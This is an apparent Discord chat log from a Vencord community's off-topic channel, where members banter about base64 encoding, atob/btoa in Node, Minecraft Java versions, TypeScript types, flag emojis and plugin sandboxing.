🧊-off-topic-iceman-only

[sudden fjord]

hai

[unborn magnet]

I did it for a project to store a config

[raw panther]

ashley :3

[dusty goblet]

haiiiii asley :3

[brittle granite]

actual encoding https://en.wikipedia.org/wiki/Ascii85

[digital kettle]

i hate my life

[unborn magnet]

192 bits in 12 chars is pretty great

[sudden fjord]

what happened

[dusty goblet]

@sudden fjord i earned 1,776.24€ last year and from that 77.97€ did go to the rent insurance

[rapid viper]

8 chars for a discord id

is pretty good

[dusty goblet]

what happened

[rapid viper]

but not that much better than 12 (base64)

[dusty goblet]

:c

[sudden fjord]

lol damn rich

more money than I ever had

[granite lily]

my sand physics is so cool that sand can disintegrate

[dusty goblet]

I work twice a week on mimum wage 😭

[unborn magnet]

How many bits is the id?

[rapid viper]

64

[unborn magnet]

So 4 chars with utf 16 :))

[brittle granite]

64 but not all bits are used rn since its a timestamp

[rapid viper]

yea

[sudden fjord]

more than me :p

[sterile hearth]

dont be bad like me if you do

[rapid viper]

i dont think i have a way to use utf 16 with discord

either way 'char' count doesnt matter its fundamentally 8 bytes of data

[dusky vortex]

simply store bytes as their hex representations and write a plugin to convert them at runtime

[sterile hearth]

im gonna get core today im callng it

[brittle granite]

vap loves base64.b85encode

[lucid marten]

what happened on january 6th?

[rapid viper]

////////////8

[brittle granite]

=

[bronze ravine]

meow

[dusky vortex]

https://toot.garden/@larsfrommars/111650242907392094

[jolly nexus]

A People's History of the Location of the Soul - Howard Zinn ([e-mail])

january 6th would be a beautiful name for a young girl

Mastodon · Dec 27, 2023, 3:25 AM

[rapid viper]

= is fake

[brittle granite]

true

[rapid viper]

why is base85 part of base64 lib

lmaoaoa

[rapid viper]

i have this but for base64

[dusky vortex]

terrible

[lucid marten]

oh

[rapid viper]

im trying to write a state machine interactions library

for my modmail bot

where state is encoded in component ids

[raw panther]

I understand some of those words

but what does this all have to do with girls kissing

[dusty goblet]

who wants to do some girls kissing with me

[raw panther]

:3c

[glossy swallow]

🇸🇨

why

[bronze ravine]

based flag

[raw panther]

new pride flag, the seychelle

[glossy swallow]

gaychelle

[bronze ravine]

i cant see it

[glossy swallow]

[dusty goblet]

mee

[unreal siren]

Koi my beloved

[glossy swallow]

🏳️‍🌈-off-topic is more accurate

[dusty goblet]

true

[rapid viper]

same thing

[unreal siren]

Lets make it less accurate

[unborn magnet]

[rapid viper]

copilot can do math

[glossy swallow]

someone you know is 🇮🇹

[rapid viper]

true

unfortunately

[glossy swallow]

maybe even someone you love

[dusky vortex]

ur tryna what now

[raw panther]

you should watch out especially toad they might throw shells at you while you're driving

[granite lily]

my friends arent spaghetti

[rapid viper]

u hear d me

[unborn magnet]

[glossy swallow]

imma change it to 🇬🇧

[fair hinge]

why.

[glossy swallow]

we love base64

[rapid viper]

to make id shorter

[unborn magnet]

Why was btoa deprecated?

[fair hinge]

it isn't

[glossy swallow]

🇬🇧-general-colour-is-the-correct-spelling

[rapid viper]

it is in node

[fair hinge]

what

[rapid viper]

in favor of using buffers

[fair hinge]

ugh

[sterile hearth]

nononononononon

[void ivy]

yeah btoa shouldnt be used in node

[sterile hearth]

back to back enchant rune

[fair hinge]

btoa >

[void ivy]

you can but im fairly sure it just wraps buffer api anyway

internally

[rapid viper]

idek why node has so many web apis like

what is String.prototype.strike like for what

[fair hinge]

standardization

[glossy swallow]

if it simplifies the code why not use it

[fair hinge]

wintercg 🙏

[dusky vortex]

meanwhile node still the furthest runtime away from web standard

[void ivy]

cause your ide cries about it

[glossy swallow]

oh

[dusky vortex]

let it cry and cry and cry i respect no machine

[fair hinge]

you listen to your ide? 🚎

[fair hinge]

eh

[void ivy]

and also whilst i know what btoa/atob means, its not clear to a lot of people xd

it took me a while to learn what it meant

so i prefer writing the longer buffer call

[jaunty trellis]

[glossy swallow]

a[text] to b[ase64], b[ase64] to a[text]

no idea why it's a

[void ivy]

Buffer.from(data).toString("base64")

[void ivy]

ascii

[sterile hearth]

shut

[glossy swallow]

but surely unicode works lol

[sterile hearth]

im at the definition of depression right now

[void ivy]

and b is binary

you got them backwards

xd

[void ivy]

no

encode to ascii

[glossy swallow]

oh

OH

[void ivy]

decode from adcii

[sterile hearth]

should i try my luck and fuse them

[void ivy]

yeah exactly

[dusky vortex]

i mean objectively IS there one further away

[void ivy]

this is why this naming convention sucks balls

[jaunty trellis]

yop

[glossy swallow]

i got it backwards

ajsfsf

[fair hinge]

have you actually been limited by it

[sterile hearth]

i have nothing to lose cause they are worth about 3 coins

why not

[dusky vortex]

no but thats not point

[sterile hearth]

they are worth virtually nothing

[glossy swallow]

yeah, i was sure atob was to decode so text to base64 makes no sense 😵‍💫

[dusky vortex]

im talking in an academic sense

a pedantic one if you will

[void ivy]

doing the longer way of bufferapi makes more sense when reading it back

[fair hinge]

i love wintercg

js runtime standardization 😍

[glossy swallow]

any good js developer (not me) should know what atob and btoa means though

[void ivy]

Buffer.from(data, 'base64').toString('ascii'); > atob(data); imo

[void ivy]

yeah but people arent exclusively js devs

[glossy swallow]

the former is the java version

[dusky vortex]

ddg tried to make me search winter chicken thigh instead

[fair hinge]

I get your point but from an interoperability perspective no

[void ivy]

i prefer readability over quantity

[void ivy]

im writing node apps

not web

if i was writing web id use atob

or a wrapper around it

to make it more obvious

or a reassignment sorry*

[dusky vortex]

ofc bun doesnt participate

[fair hinge]

i meant other runtimes

[glossy swallow]

const decodeBase64 = atob;
const encodeBase64 = btoa;

[void ivy]

in which case

reassignment

but i write exclusively node stuff

maybe bun in future

[rapid viper]

Buffer polyfill on the edge 💪

[void ivy]

so i dont care about other runtimes atm

[brittle granite]

theres also 32 and 16

[rapid viper]

32 is funny

not 36 but 32

[glossy swallow]

C++ polyfill 💪

const std = { cout: console };

[unborn magnet]

What’s the difference between base16 and hex?

[brittle granite]

nothing

[rapid viper]

same thing

[glossy swallow]

do you mean base64?

[rapid viper]

you could argue that base16 could have any digits and hex refers to a specific set of digits

[dusky vortex]

bun terrible node worse deno on top

[bronze ravine]

doesnt hexadecimal literally mean base 16 though

[rapid viper]

i have yet to use deno

[dusky vortex]

making ur own runtime (@ ducko) on topper

[fair hinge]

i make my own engine

[glossy swallow]

couldn't you argue hex could be represented with different digits too

[dusky vortex]

same thing basically

[fair hinge]

not at all but suree

[dusky vortex]

[rapid viper]

thats the etymology yea but in use its used exactly like decimal

[fair hinge]

I had a working btoa function in my engine but I broke it

[rapid viper]

where the "decimal" system refers to using 0123456789, but you can make base 10 systems without those digits

[dusky vortex]

ducko will implement porffor runtime based on wasi apis

[fair hinge]

already exists but without wasi

[void ivy]

technically no, fundamentally yes

[dusky vortex]

shut up

[brittle granite]

made som microwaved bacon strips i feel like a true american patriot

[glossy swallow]

java has no way to encode/decode base64 which works from 7 - 17

[lucid marten]

it cooks it 😦 not good

[rapid viper]

what doies this mean

[glossy swallow]

i remember using reflection to make it work on both java 7 and java 11+ (which removes the old method)

[void ivy]

it means java sucks

[rapid viper]

oh java versions

[brittle granite]

btw ur all arguing abt nothing u cant change alphabet

[rapid viper]

YES YOU CAN

DIE

[brittle granite]

and bytes literally has .hex() and .fromhex()

[void ivy]

why does the base64 library handle base16

[brittle granite]

python

[void ivy]

that is objectively fucking stupid

[tall breach]

where is the review plugin

[void ivy]

plugins > reviewdb

[brittle granite]

standard library btw

[tall breach]

how to get cute person role

[west geode]

sowy will not do again!!

[tall breach]

im cute

[void ivy]

maybe you are maybe youre not

be here for a while

[tall breach]

i am 😠 i am cute

oki

[void ivy]

asking isnt going to get you it either

[lucid marten]

what the hell this image makes me feel like i need glasses. like its sharp sometimes and sometimes not

[rapid viper]

would a cute person say they're cute or just be cute

[west geode]

also who changed channel name should be fired

[tall breach]

my honest reaction: 😔

[brittle granite]

pls give me cute girl role

[tall breach]

idk 😭

[real skiff]

visual studio codie

[bronze ravine]

could do both or just one

[lucid marten]

that was fast

[glossy swallow]

java.util.Base64 was introduced in Java 8, which means you can't use it in Java 7. Fortunately, you can use DatatypeConverter in Java 7, but that was removed in Java 11.

[rapid viper]

this is true

[dusky vortex]

@brittle granite give me cute girl role

[fair hinge]

why do people use java 7

[glossy swallow]

minecraft

[dusky vortex]

they hate themselves

[glossy swallow]

[dusky vortex]

mc is java 8 no

[lucid marten]

java 8

[real skiff]

mc is 8

[bronze ravine]

they deny the superiority of c#

[dusky vortex]

until recently

[glossy swallow]

newest versions of minecraft use java 17

[real skiff]

yeah

[lucid marten]

1.8

[glossy swallow]

older versions use java 8, java 7 or java 6 iirc

[fair hinge]

js btoa is so easy

var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var btoa = function (input) {
  // todo: throw invalid character for unicode

  let output = "";
  let chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  let i = 0;

  while (i < input.length) {
    chr1 = input.charCodeAt(i++);
    chr2 = input.charCodeAt(i++);
    chr3 = input.charCodeAt(i++);

    enc1 = chr1 >> 2;
    enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
    enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
    enc4 = chr3 & 63;

    if (isNaN(chr2)) {
      enc3 = enc4 = 64;
    } else if (isNaN(chr3)) {
      enc4 = 64;
    }

    output += keyStr.charAt(enc1);
    output += keyStr.charAt(enc2);
    output += keyStr.charAt(enc3);
    output += keyStr.charAt(enc4);
  }

  return output;
};```

🗿

[lucid marten]

best version of mc is 1.8

[glossy swallow]

i think they all work on java 8, but some modloaders need java 7

[rapid viper]

bad needs more uint8array

[bronze ravine]

incorrect

[glossy swallow]

or at least break on java 8 due to being terrible

[lucid marten]

imcorrect

[real skiff]

1.7.10

[bronze ravine]

1.8 or 1.7 are a few of the good versions

not the best

[fair hinge]

use Uint8Array.fromBase64

[jaunty trellis]

for pvp maybe anything else no

[bronze ravine]

1.12 is a good one

[glossy swallow]

i was writing a cursed thing with reflection to redirect requests on the old skin endpoints

[bronze ravine]

1.18 is also great

[rapid viper]

i thought that was real for a second

[jaunty trellis]

1.12 is amazing for modded

[lucid marten]

every good server uses that

[dusky vortex]

1.20.1 is the best one and 1.21 will be the better one when it comes out u all suck

[fair hinge]

it is a real proposal

https://github.com/tc39/proposal-arraybuffer-base64

[bronze ravine]

pvp legacy and hoplite lightskin rizz

[dusky vortex]

u all are grandmas lets get u to bed

[dusty goblet]

meow

[bronze ravine]

didnt 21 come out

[glossy swallow]

https://github.com/PrismLauncher/PrismLauncher/blob/develop/libraries/launcher/legacy/org/prismlauncher/legacy/utils/Base64.java

[rapid viper]

shouldnt that be a

dataview

[fair hinge]

no

[rapid viper]

api

[brittle granite]

best mc version is infinifactory

[dusky vortex]

not yet

[rapid viper]

i guess

[lucid marten]

that is a sentence

[dusky vortex]

best mc version is factorio

[bronze ravine]

yeah it didnt

[brittle granite]

true..

[rapid viper]

idk why that wouldnt be a dataview api

[lucid marten]

destiny

[dusty goblet]

satisfactory better

[glossy swallow]

replace X with 𝕏

[dusty goblet]

I should actualyl check if my save for satisfactory was on steam cloud

[brittle granite]

all great games are either made by zachtronics or hatsune miku

[lucid marten]

satisfactory is boring in a good way

[lucid marten]

or bethesda

[lucid marten]

how tf

did you react the same thing 4 times

[brittle granite]

its how wrong u are

[raw panther]

different husks from different servers?

[brittle granite]

fnv is the only good bethesda game because it was not developed by them

[lavish relic]

great games: stardew valley

[lavish relic]

obsidian my beloved

[unborn magnet]

[lucid marten]

nah bethesda made the best games

[lavish relic]

ok best game is tetris

[unborn magnet]

Terrible take

[brittle granite]

tetris is a mathematical field actually

average

[lavish relic]

tetris is me

[brittle granite]

all updates are like that i just gave up playing it

[dusty goblet]

idk i never played factorio lmao

[lavish relic]

its a good game :3

[lucid marten]

fn is good

[unborn magnet]

I’ve never played satisfactory to be fair

[lucid marten]

best game of the century is fn

[brittle granite]

factorio is thje best game ever shoutout to hatsune miku for making it

[unborn magnet]

Thank you hatsune miku

[lavish relic]

fnaf

[unborn magnet]

And I can wholeheartedly agree to the zachtronics part

[dusty goblet]

steam please shader faster

i wanna see if my save exists

[unborn magnet]

Shenzhen and TIS-100 are amazing

[dusty goblet]

and then cry when I see it doesnt

[unborn magnet]

They got me into trying real assembly

[sand citrus]

hello everyone

[dusty goblet]

hai not

hru

[unborn magnet]

hello not

[dusty goblet]

but again this would be karma for playing 100h on a cracked save and not making a backup

[sand citrus]

I woke up like 2 or 3 times at night but other than that I'm ok, I'll be fine

[lucid marten]

who is hatsune miku

[raw panther]

a yamaha voice synthesizer

[lucid marten]

thats it? no anime?

i thought it was from an anime

[dusty goblet]

its gone

[rapid viper]

oh my god i just realized how mapped tuple types works in typescript

[raw panther]

nah

[lucid marten]

now cry

[dusty goblet]

i havent cried in years no ty

[golden swan]

yamaha does everything how did they do miku

[raw panther]

https://en.wikipedia.org/wiki/Hatsune_Miku

[unborn magnet]

Pretty sure miku is just them failing to do text to speech

[lucid marten]

damn

[unborn magnet]

And then auto tuning it

[golden swan]

"Vocaloid (ボーカロイド, Bōkaroido) is a singing voice synthesizer software product. Its signal processing part was developed through a joint research project between Yamaha Corporation" god damn it

[lucid marten]

i have a yamaha flute

[sand citrus]

Hatsune miku is a real person, it is me

[stark herald]

i love minecraft coding! unfortunately idk java so i use a mod that lets me code stuff in js instead >w<

[rapid viper]

shout out graalvm

[glossy swallow]

HORROR

wtf

[dusty goblet]

WHAT THE FUCK

war crimes

[glossy swallow]

why are you using intermediary

[stark herald]

uhh what else csn i do

i love https://wagyourtail.xyz/Projects/MinecraftMappingViewer/App?version=1.20.1&mapping=INTERMEDIARY,YARN,QUILT&search=BoatPaddle

[sand citrus]

perish

[unborn magnet]

I hate this

[rapid viper]

this is so based

[glossy swallow]

groovy? kotlin? maybe even java??

[stark herald]

also thats an old file now i use typescript instead of js yay :3

[glossy swallow]

anything that's actually made for the jvm 😭

[rapid viper]

kotlin would be real

[unborn magnet]

Erlang Minecraft modding

[dusty goblet]

ok how tf did I manage to launch vesktop twice

[sand citrus]

it prob just lets you

[lucid marten]

this cant be real wtf https://www.youtube.com/watch?v=jhl5afLEKdo

[stark herald]

i used to use this because typing Chat. would make vscode correct it to CharacterData all the time and i didnt know how to fix

[lucid marten]

pretty cool tho 😄

[dusty goblet]

nop usually it doesnt

[sand citrus]

it's silly then

[golden swan]

your call is very important to us

[dusty goblet]

OH MY FUCKING GOFD

I HAVE A BACKUP OIF THE SVAE

[sand citrus]

this is crazy

[dusty goblet]

i was like "maybe ists on my usb stick"

bcs I know i put it there when i switched form laptop to pc

i thought i removed it again

🔥

how lucky I am

[brittle granite]

the box says "smoked* bacon strips"

"(* like all bacon)"

[stark herald]

free invite ratelimit
50 messages each of which has 10 invalid invites loaded at once

[brittle granite]

i love companies

[stark herald]

mm

[granite lily]

blahaj

[rapid viper]

that sounds yuimmy

[slim ledge]

good morning cute ppl

[sand citrus]

gm

[slim ledge]

[deep token]

good morning

[dusty goblet]

gm cutie :3

[slim ledge]

https://tenor.com/view/anime-girl-cute-laid-back-camp-yuru-camp-gif-20044492

[golden swan]

dude i hate search engines so much

why do i have to go to the 3rd page to find good search results

[stark tapir]

hi vrexorxndje servwf

[deep token]

they got shit lately

[stark tapir]

seo and advertising

[stark herald]

https://media.discordapp.net/attachments/814013275716845568/930022772078411826/71A0758F-7D24-4520-BB0E-C47F67FD67B7.gif

its so cute

[golden swan]

i dont want ai generated pages saying the meaning of nett's lyrics i want news and magazines god

[sand citrus]

it's bleeding out and dying

[deep token]

these people need to be banned

[golden swan]

i will find a million pages that just get lyrics from genius then ai generate some shit before i find a reliable source

[brittle granite]

i think i have high chloresterol now but it was worth it

[deep token]

MrBeat

[golden swan]

i will find a fortnite account named nettspend before i find a reliable source

[sand citrus]

What are You trying to Find

[golden swan]

sources for nettspend im tryna make a nettspend wikipedia article

[sand citrus]

Reall Nett Fan

[golden swan]

someone rejected my draft because i had 3 sources

half of my sources are from the single evilgiane dropped w xav and nett

god damn it

[slim ledge]

REAL

[void ivy]

WP:BASIC

doesnt meet basic notability guideline

[golden swan]

blehhhhh

[void ivy]

yes i know wikipedia policy i am one of those nerds

[deep token]

meow

[golden swan]

if xav can have a article surely nett can

if nobody got me i know the fader and no bells got me

[sand citrus]

xav has had interviews and been around for much longer hasnt he

does nett have any interview

[golden swan]

makes sense

xav has been around since 2020

[sand citrus]

yeah

[golden swan]

nett has been around since late 2022

[sand citrus]

if not longer

[golden swan]

i probably will make a text file with everything i can find and wait

[rapid viper]

ok ts

[void ivy]

tbf that is too vague for ts to work out

youve got a union of two tuples vs a tuple by itself

[rapid viper]

fair

i expect an assignability error at that point

[void ivy]

is that not what that is? :p

id do [string?] as the type if possible

i think thatd fix it

or string union undefined

[rapid viper]

that would probably give me a good assignability error

but would require some ts magic to do

[void ivy]

hm

[rapid viper]

ultimately for just another error

[void ivy]

ah theres a slight difference

in those types

you can assign to a string? tuple

but not to a empty unioned with string tuple

because it downcasts to the pure empty

[jaunty trellis]

[rapid viper]

yea you can

[void ivy]

you can if you try hard enough

but normally no

[rapid viper]

no i mean you asked if i can assign to a [string?] but not a []

im saying yea you can

[void ivy]

yes

[rapid viper]

oh you didnt ask

LOL

[void ivy]

the union downcasts but not the string optional

xd

thats what i mean

[dusty goblet]

[rapid viper]

yea i know but this doesnt ameliorate anything it just makes the error message actually good

[void ivy]

https://www.typescriptlang.org/play?#code/C4TwDgpgBAKgrmANhAqgOwJYHs1QLxQDaAulAD5EDOwAThmgObEDcAsAFCiRQDyYw2NAENE8JNAKFqdRgH4WHDgGMc1KEIBcsBMnSD8RBexVo1AIy18BOEWOQGSbdhyGEADKQIAiIZQAmXk5m7p5QPv6BQA

[rapid viper]

and flattening the union would take effort

[golden swan]

https://www.reddit.com/r/nettspend/comments/199gbkb/holy_fuck_is_he_gonna_drop_the_album/

[rapid viper]

im actually gonna try to flatten to tuple union for fun

oh gosh i have to get the maximum of a number union

[unreal siren]

#🏥-vencord-support-🏥 message
sorry vee if i was part of it, was just saying for him to calm down, but yes, that is fair

[harsh minnow]

no you were fine

mostly toad and not

[unreal siren]

ah, okay

[glossy swallow]

i was being somewhat serious

[unreal siren]

either way sorry

[glossy swallow]

idk why you deleted that

[void ivy]

it

wasnt really productive

[glossy swallow]

didn't i just say a vulnerability is unlikely unless a plugin is running eval on everything xd

[void ivy]

for security stuff we cant really joke around with it because if there is a vulnerability and we arent taking it seriously then

well

it looks like we dont care

[sand citrus]

hi what did i say wrong i wasnt trying to troll or mislead

[void ivy]

yeah but that doesnt really come off as serious, especially with the at the end

[sand citrus]

sry if i sounded like an ass its just the way i always talk

[glossy swallow]

fair

[golden swan]

this vencord shit serious

[sand citrus]

true

[unborn magnet]

I thought running eval on incoming messages was best practice

Let’s others debug your issues more easily

:)

[glossy swallow]

i just put because it was kinda funny

[lime talon]

i love when i walk into a corridor and a y10 kid says "what's that animal"

[glossy swallow]

but i didn't exactly mean it as a joke 😵‍💫

[lime talon]

then started singing "king of the jungle" or some shit idk

[harsh minnow]

that was not serious nor helpful

[glossy swallow]

i was making a serious point not in the most serious way

[sand citrus]

what about me, was it the reviewdb comment

[harsh minnow]

you were absolutely not. of course vencord does not have code like that. but vulnerabilities can happen

[sand citrus]

i wanna avoid stuff like that but im just not sure what i did

[stark herald]

where channel mention go?

[sand citrus]

works for me

[native ruin]

i eated it

sorry

[sand citrus]

its mentioning this channel, maybe its cus of the emote

[stark herald]

#🧩-plugin-development

#🧊-off-topic-iceman-only

grr

[sand citrus]

yea

[native ruin]

for me it shows up as sc-off-topic

[unreal siren]

works fine for me

[sand citrus]

yea they use a css to fix the flag emojis i believe

[glossy swallow]

i get why it wasn't appropriate, i couldn't see how an RCE vulnerability could happen otherwise because any issues in dependencies you would have been notified about.

[sand citrus]

and ig that messes up the channel mentions

[harsh minnow]

pronoundb has nothing to do with this shit, nor can the owner check (what?) pronoun history

it doesn't matter whether you are "done here"

[dusty goblet]

It's the no dash

[harsh minnow]

do you use my old twemoji everywhere snippet

it breaks channel mentions

iirc someone posted a fixed version

[stark herald]

@lime talon hi hi

[stark herald]

oh yeah

thank you ill lok for it

[west ore]

vee what if it was oauth

[harsh minnow]

right no, dashless, not twemoji everywhere

[lime talon]

hi

[dusty goblet]

Can you send it to me if you find it

[west ore]

does oauth have pronoun field changing capabilities

[harsh minnow]

no it doesn't

[west ore]

bruh

[harsh minnow]

why tf would oauth be able to modify your account

horror

[sand citrus]

at first i thought they were talking about pronoundb and not discord built in pronouns thats a misunderstanding on my part sorry
and 2nd part was me just saying that im not gonna talk about it further because i noticed that ur deleting messages related to it and i said everything that i had to say

[lime talon]

this was funny

[west ore]

i expected it because discord lmao

[sand citrus]

also @unreal siren sry if my messages sound aggressive, its just that the way i write stuff is kinda monotone, i wasnt trying to be pushy or anything

[west ore]

otherwise there’s physical access

no token logging needed if you just log into the pc lol

[unreal siren]

happens, need to be careful with it though imo

[stark herald]

i cant find twemoji thing fix ill just make the css only apply to channel list

[sand citrus]

i did have it in mind but thought it was fine that time

idk

[deep token]

mfw no flag

[sand citrus]

not gonna add a colon three to the end of my messages to indicate that im not being an ass lol

[deep token]

macos on top

[unreal siren]

flags are shit

[sand citrus]

true

[unreal siren]

The only emote that should exist is shiggy

[deep token]

better having flag emojis than not having flag emojis

[paper gate]

m

[west ore]

is there a plan to add something like plugin permissions (like flatpak/ios-ish perms) or is that impossible because of the nature of plugins

[harsh minnow]

Linux on top

idek why windows has no flag emojis

it's so arbitrary and stupid

[deep token]

because windows is shit

!!!!!

[unreal siren]

Windows moment

[brittle granite]

@rapid viper

[dusty goblet]

What

[west ore]

?

[dusty goblet]

I've never noticed my flag emojis missing on windows

[sand citrus]

it does have them but they dont show up on discord

[paper gate]

sc

[dusty goblet]

Never noticed that lmao

[west ore]

(vee?)

[dusty goblet]

Either it always worked for me somehow or I just never paid attention to it

[sand citrus]

i mean they do show up on discord

just not in channel names for some reason

and theres rarely flag emotes on channel names ig

[rapid viper]

no windows doesnt have flag emojis

intentionally

cus flag emojis arent standardized, and including a flag in your software means recognizing them as a country

[sand citrus]

hm now that u say it yeah

[rapid viper]

so they just said nope lolol

[stark herald]

test

[dusty goblet]

Oh lol

Makes a lot more sense now

[brittle granite]

thats why the regional indicators exist 🇦

they're the flags

[dusty goblet]

Microsoft should really recognise 🏳️‍⚧️ as a country 🔥 🔥

[rapid viper]

yop yop

[harsh minnow]

it does not have them.

windows does not have flag emojis

[sand citrus]

yes indeed i am corrected

i guess all the flags i saw were in a web browser probably lol

[dusty goblet]

I've always questioned why they named letters regional indicators 😭

[sand citrus]

i just checked and it does indeed not have them

[brittle granite]

🇧🇷

[harsh minnow]

firefox on windows has flags because firefox ships its own emoji font for exactly this reason

chrome on windows shows the two letter country code instead

[sand citrus]

yea thats what i was thinking of probably

which is why i got confused

[sand citrus]

oh really

weird

[harsh minnow]

like BR or DE

[rapid viper]

yea you can tell because ur on chrome right now

[harsh minnow]

in some silly font

[west ore]

possible or not?

[sand citrus]

yeah tiny letters

[glossy swallow]

does it use twemoji on windows too?

i thought it used microsoft's ugly emojis

[rapid viper]

(i guessed)

[harsh minnow]

impossible

• why in the world would that be needed

[glossy swallow]

what would the point be without external plugins, ye

[harsh minnow]

all plugins are inbuilt so they can't be malicious

[west ore]

oh true

[brittle granite]

flag QT will render as 🏳️‍⚧️

[rapid viper]

nooo my up and coming quaternion country noooo

[brittle granite]

same thing

[rapid viper]

true,,,

[brittle granite]

rotates your gender

[rapid viper]

gimbal locks your gender

[jaunty trellis]

[brittle granite]

WTF

[rapid viper]

owned

[glossy swallow]

🏳️‍🇶🇹

qt flag doesn't work

[steady lagoon]

wut yall talkin bout

[west ore]

applies your gender in a different order

[harsh minnow]

anyway sandboxing stuff inside js is virtually impossible

[rapid viper]

i think you need a combining zwj

[dusty goblet]

wjhat

[rapid viper]

but with regional locators theres no nead for a flag emoji

[west ore]

external process + fake dom api

[harsh minnow]

you would have to run it in a separate process and pass everything via ipc

[west ore]

horrible indeed

[steady lagoon]

it say QT next to the white flag

[harsh minnow]

do you understand that that makes modding impossible

[glossy swallow]

bwrap my beloved

qt country

🏳️‍⚧️

[harsh minnow]

and once you allow plugins to patch discord they can do anything anyway

[brittle granite]

permission to do addition

[dusty goblet]

nop not for me

[harsh minnow]

if you don't allow it they can't do anything

[west ore]

main process validates that plugin is allowed to do x dom manip

but this is so complicated

[rapid viper]

this is a good idea actually

[brittle granite]

you must use 10 vencord coins to perform multiplication

[rapid viper]

make plugins stop using react

make them use wasm

[harsh minnow]

[west ore]

understandable to not sandbox it lol and your threat model argument is true

[rapid viper]

soon

[sand citrus]

vee u should make vencoins

[brittle granite]

*additional fees may apply

[sand citrus]

everytime u advertise vencord u get 1 vencoin

[west ore]

if i burn my brain making sandboxing would you accept the pr?

[sand citrus]

then u can get premium plugins

[digital kettle]

hai

[golden swan]

vee please add money to ven cor

[sand citrus]

its a great idea

[dusty goblet]

hhiii

:3

[rapid viper]

vencord will start signing third party plugins

[hollow flume]

Here is your js(18.15.0) output @burnt maple

Don't count on it :(

[unreal siren]

vencord premiun

[glossy swallow]

veestore

[harsh minnow]

https://tenor.com/view/neurosama-gif-9746452706691938980

[tame thorn]

@paper gate https://media.discordapp.net/attachments/991451220944367700/1198288525544661112/caption.gif?ex=65be5c27&is=65abe727&hm=7f91db44204a635ea023afe5fe108fac051c95ccbcbea7e25810af2e1a46e25d&

[rapid viper]

vencord will start signing third party plugins

[harsh minnow]

oo

nooo

actually yesss

[rapid viper]

but they have to pay

[harsh minnow]

signing certificates will cost 100€ / year

we will become apple

[sand citrus]

make vencord premium cost 20 a month

[glossy swallow]

[harsh minnow]

and if you don't sign your plugin then vencord will randomly block it

[deep token]

meow

meow

[sand citrus]

include all the illegal plugins from #rules

[unreal siren]

make vencord subscription based

[sand citrus]

even if they dont work

[dusty goblet]

10 please then im fine

[deep token]

great idea

[strong girder]

can we kill this guy?

[harsh minnow]

You can't enable this plugin right now because we don't recognise this developer. Please contact its developer

[glossy swallow]

this plugin may contain malware

[deep token]

ven

[unreal siren]

add them, but they just close the app

[deep token]

make the plugin run on right click

[golden swan]

.fm

[deep token]

https://cdn.discordapp.com/emojis/886528507939811419.webp?size=48&name=troll~9&quality=lossless

[fading lance]

Now playing - authen

Current:

Bruja
Arca • KicK iii

Previous:

out of london
heavensouls • debut

3 artist scrobbles · 3 album scrobbles · 0 track scrobbles · 35229 total scrobbles

[rapid viper]

flattening a tuple union type is proving to actually be incredibly hard

arca real

[harsh minnow]

can you read what my display name says

it shouldn't be that hard me thinks

[west ore]

This plugin is not recognized. Your token has been sent to vee for verification purposes.

[deep token]

wah :(

[digital kettle]

vee

[deep token]

im sorry

[rapid viper]

try it with me

[glossy swallow]

væe

[sand citrus]

makes sense

[digital kettle]

gay

[deep token]

the messages i have said no longer exist they are purely made up

[rapid viper]

get from [] | [string] | [string, number] to something assignable to [string?, number?]

[harsh minnow]

people made like half of the shit plugins

just search on github

[rapid viper]

rn im trying to get the maximum of a number literal union

its hard

[unreal siren]

unfortunately true

[glossy swallow]

RobloxOof: plays the oof sound when you are banned

[digital kettle]

why would someone do that

lmao

[harsh minnow]

https://github.com/Shell1010/Vencord-Purge

this one is funny cause it doesn't even do any queuing or rate limits

it just spams all deletes at once

[unreal siren]

[sand citrus]

Simple purge plugin, i kinda suck at js.

[raw panther]

best purge plugin, purges your account

[sand citrus]

hey vee i just tried vencord purge and my account got disabled why is vencord so insecure

[glossy swallow]

use magical discord fairy instead ✨

[west ore]

vencord is deprecated use genesis instead

[unreal siren]

[sand citrus]

i switched to betterdiscord and its so much faster

[rapid viper]

its so hard to google for typescript code thats just typings stuff

[sand citrus]

thats kinda cool actually

[digital kettle]

https://github.com/Shell1010/Bolt-scraper oh my god

[sand citrus]

obviously i wouldnt use it on my main tho

[lucid marten]

is there a vencord purge plugin?

[sand citrus]

yes you should try it on your main account

/s /s /s

[lucid marten]

i cant see it

in the plugins tab

[sand citrus]

jokes aside if its a serious question check #rules

[harsh minnow]

cursed https://github.com/aiko-chan-ai/DiscordBotClient

[sand citrus]

yes because its 3rd party and also a selfbot

[west ore]

i switched to cuddles i’m much happier

[rapid viper]

vencord on my mee6

[unreal siren]

i mean its not wrong

[digital kettle]

https://github.com/Shell1010/QR-Grab

[glossy swallow]

they are just slightly discouraged

[lucid marten]

oh okay would be cool tho to delete messages at mass

[west ore]

veecord on my mee6 til mee6 gets banned for violating tos (never)

[harsh minnow]

oh god this uses 7 months old vencord

[rapid viper]

this person uses image alignment on their readme they're kinda based

[harsh minnow]

why not

[rapid viper]

YOU WILL epxlo

[harsh minnow]

what's wrong

that's the correct way to load vencord on web based clients

[west ore]

lmao vendor

[open pasture]

https://media.discordapp.net/attachments/1156280546687713365/1197593904367812648/togif.gif

[dusky vortex]

i wish all vencord users a merry Switch To IRC

[deep token]

i feel like its moving

[austere acorn]

dont worry guys! they meant epxldeo!

[west ore]

@harsh minnow i saw you switch the name

[glossy swallow]

vencor

[deep token]

vendor

[unreal siren]

i found the most cursed vencord plugin but i dont think i can send it here

[open pasture]

Im jabbering out

[deep token]

drocnev

[normal flint]

What's the worst that could happen?

[lucid marten]

what is ven in vencord?

[sand citrus]

ven

[raw panther]

vending machine

[west ore]

a cutie

[dusky vortex]

i cannot manage to get an xmpp server running properly for the life of me

[unreal siren]

[west ore]

is it because you ran it as root

[open pasture]

Yeah that's cause you're bad and i'm not

natural selection

[dusky vortex]

WOW OKAY

[austere acorn]

it's meant to reference ps3hen but the vencord guys were stupid and did ven instead /j

[humble escarp]

send in dm's

[sand citrus]

ps3ven

[humble escarp]

ill rate 1-10 how cursed it is

[lucid marten]

ohhh nice

[unreal siren]

bet

[open pasture]

oh not got cute role

good job youre epic now

[sand citrus]

their name on github is vendicated so thats what it mens

[golden swan]

.fm

[sand citrus]

